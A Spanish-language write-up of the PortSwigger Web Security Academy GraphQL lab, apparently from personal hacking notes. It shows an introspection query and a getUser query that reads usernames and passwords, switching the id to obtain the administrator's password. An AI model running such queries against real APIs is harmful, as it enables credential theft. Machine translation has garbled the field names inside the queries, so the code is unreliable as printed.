> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# Exposición accidental de campos privados de GraphQL

Notas sobre Exposición accidental de campos privados de GraphQL para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

### Exposición accidental de campos privados de GraphQL

#### Contexto del laboratorio

Las funciones de gestión de usuarios se basan en un **GraphQL** endpoint. El laboratorio contiene un control de acceso débil: es posible **forzar a la API a revelar campos sensibles** (credenciales / contraseñas). / Propósito: **Iniciar sesión como administrador** y luego **Eliminar usuario `carlos`**.

#### Consulta GraphQL observada

Una solicitud típica del lado del cliente:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3dd81f67775ad52ddbe8dcac4eb5c8dec0d24fad%2F%7B596E6E9B-2DA9-40D7-8878-1AD037C0F3CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Introspección de GraphQL

La introspección se puede utilizar a través de un **IntrospectionQuery** (diagrama completo: tipos, solicitudes, mutaciones, etc.). / Solicitud enviada:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            nombre
        }
        mutationType {
            nombre
        }
        subscriptionType {
            nombre
        }
        types {
            ...FullType
        }
        directives {
            nombre
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    nombre
    description
    fields(includeDeprecated: true) {
        nombre
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        nombre
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    nombre
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    nombre
    ofType {
        kind
        nombre
        ofType {
            kind
            nombre
            ofType {
                kind
                nombre
            }
        }
    }
}
```

El servidor responde **200 OK**, lo que confirma que la introspección está habilitada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96ed3a6c6922cabd228018f564c8c899db2e0a80%2F%7BFAC9420A-EE73-4777-8793-167FEA28064F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análisis de solicitudes en el mapa del sitio

Al enviar solicitudes a **Objetivo → Mapa del sitio**, aparecen varias solicitudes (unas 5).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9e9f88291be542e126b65f2e2f44e4ac15141aa%2F%7B0DFE5367-C789-4545-B1C4-217E80A633D8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Una consulta destaca: **`getUser`**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d332360c2c4bda3405d4c25a77ad2bb17af5d26b%2F%7B616BB823-8239-4448-9C7C-533E21AAEBD9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exposición de campos privados mediante `getUser`

Consulta identificada:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3956388a8c347aa96f96cd8a609b7a136e1be095%2F%7BC4FFC26E-E52B-49A9-BCD6-AFB53C53D667%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Esta consulta muestra el campo **`contraseña`**.

Versión equivalente de GraphQL:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    nombre de usuario
    contraseña
  }
}
```

Al reemplazar **`id: 0`** con **`id: 1`**, la API devuelve el **nombre de usuario** y el **contraseña** de `administrador`:

```json
{
  "id": 1
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-799234e416a1362365296ebf6a1e97eb94f4c34c%2F%7BAB733C58-3A69-47D3-8541-DE5EA4DD19CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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